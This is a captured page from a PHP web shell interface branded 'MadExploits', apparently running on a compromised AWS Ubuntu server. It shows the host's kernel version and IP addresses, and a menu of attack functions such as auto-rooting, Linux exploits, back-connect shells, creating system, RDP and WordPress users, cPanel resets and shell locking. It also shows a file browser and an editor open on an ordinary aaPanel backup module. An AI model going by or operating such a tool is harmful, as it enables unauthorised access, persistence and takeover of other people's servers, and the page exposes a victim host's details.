Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.224.202.121
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
panelModelV2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
backupModel.py
2.58
KB
-rw-r--r--
base.py
598
B
-rw-r--r--
publicModel.py
12.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backupModel.py
#coding: utf-8 #------------------------------------------------------------------- # aaPanel #------------------------------------------------------------------- # Copyright (c) 2015-2099 aaPanel(www.aapanel.com) All rights reserved. #------------------------------------------------------------------- # Author: cjxin <cjxin@aapanel.com> #------------------------------------------------------------------- # 备份 #------------------------------ import os,sys,re,json,shutil,psutil,time from panelModelV2.base import panelBase import public class main(panelBase): def __init__(self): pass def get_site_backup_info(self,get): """ @获取网站是否开启计划任务备份 @param get['site_id'] 网站id @return all : 开启全部网站备份 info:计划任务详情 """ id = get.id find = public.M('sites').where("id=?",(id,)).find() if not find: return public.return_message(-1, 0,public.lang("The specified website could not be found.")) result = {} result['all'] = 0 result['info'] = False result['status'] = True data = public.M('crontab').where('sName=? and sType =?',(find['name'],'site')).order('id desc').select() if len(data) > 0: result['info'] = data[0] data = public.M('crontab').where('sName=? and sType =?',('ALL','site')).order('id desc').select() if len(data) > 0: result['info'] = data[0] result['all'] = 1 return public.return_message(0, 0, result) def get_database_backup_info(self,get): """ @获取数据库是否开启计划任务备份 @param get['site_id'] 数据库id @return all : 开启全部数据库备份 info:计划任务详情 """ id = get.id find = public.M('databases').where("id=?",(id,)).find() if not find: return public.return_message(-1, 0,public.lang("The specified database could not be found.")) result = {} result['all'] = 0 result['info'] = False result['status'] = True data = public.M('crontab').where('sName=? and sType =?',(find['name'],'database')).order('id desc').select() if len(data) > 0: result['info'] = data[0] data = public.M('crontab').where('sName=? and sType =?',('ALL','database')).order('id desc').select() if len(data) > 0: result['info'] = data[0] result['all'] = 1 return public.return_message(0, 0, result)
Close